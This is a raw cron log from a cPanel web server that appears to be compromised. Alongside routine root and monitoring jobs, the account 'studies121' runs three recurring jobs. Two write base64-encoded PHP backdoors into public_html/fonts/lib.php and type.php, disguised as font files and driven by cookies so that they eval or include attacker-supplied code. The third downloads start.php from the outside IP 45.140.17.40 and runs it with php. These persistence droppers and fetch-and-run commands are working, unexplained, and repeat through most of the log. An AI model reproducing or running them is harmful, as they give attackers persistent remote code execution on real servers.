Sep 22 16:44:01 ip-184-168-122-23 CROND[30251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:45:02 ip-184-168-122-23 CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30527]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 22 16:45:02 ip-184-168-122-23 CROND[30528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:46:02 ip-184-168-122-23 CROND[30909]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 16:46:02 ip-184-168-122-23 CROND[30914]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:46:02 ip-184-168-122-23 CROND[30916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:46:02 ip-184-168-122-23 CROND[30917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 16:46:02 ip-184-168-122-23 CROND[30918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:46:02 ip-184-168-122-23 CROND[30922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:46:02 ip-184-168-122-23 CROND[30921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:47:01 ip-184-168-122-23 CROND[32207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:47:01 ip-184-168-122-23 CROND[32208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:47:01 ip-184-168-122-23 CROND[32211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:47:01 ip-184-168-122-23 CROND[32210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:48:01 ip-184-168-122-23 CROND[1057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:48:01 ip-184-168-122-23 CROND[1059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:48:01 ip-184-168-122-23 CROND[1058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:48:01 ip-184-168-122-23 CROND[1062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:48:01 ip-184-168-122-23 CROND[1060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:49:01 ip-184-168-122-23 CROND[2273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:49:01 ip-184-168-122-23 CROND[2275]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 16:49:01 ip-184-168-122-23 CROND[2276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:49:01 ip-184-168-122-23 CROND[2279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:49:01 ip-184-168-122-23 CROND[2280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:50:01 ip-184-168-122-23 CROND[3398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:50:01 ip-184-168-122-23 CROND[3402]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3407]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:50:01 ip-184-168-122-23 CROND[3412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 16:51:01 ip-184-168-122-23 CROND[4182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:51:01 ip-184-168-122-23 CROND[4183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:51:01 ip-184-168-122-23 CROND[4184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:51:01 ip-184-168-122-23 CROND[4185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:52:01 ip-184-168-122-23 CROND[4994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:52:01 ip-184-168-122-23 CROND[4995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:52:01 ip-184-168-122-23 CROND[4997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:52:01 ip-184-168-122-23 CROND[5000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:52:01 ip-184-168-122-23 CROND[5001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:53:01 ip-184-168-122-23 CROND[5786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:53:01 ip-184-168-122-23 CROND[5788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:53:01 ip-184-168-122-23 CROND[5789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:53:01 ip-184-168-122-23 CROND[5791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:54:02 ip-184-168-122-23 CROND[6524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:54:02 ip-184-168-122-23 CROND[6527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:54:02 ip-184-168-122-23 CROND[6528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:54:02 ip-184-168-122-23 CROND[6526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:54:02 ip-184-168-122-23 CROND[6529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:55:01 ip-184-168-122-23 CROND[7275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:55:01 ip-184-168-122-23 CROND[7276]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 16:55:01 ip-184-168-122-23 CROND[7278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 16:55:01 ip-184-168-122-23 CROND[7281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 16:55:01 ip-184-168-122-23 CROND[7282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 16:55:01 ip-184-168-122-23 CROND[7283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 16:56:01 ip-184-168-122-23 CROND[8066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 16:56:01 ip-184-168-122-23 CROND[8067]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 16:56:01 ip-184-168-122-23 CROND[8069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
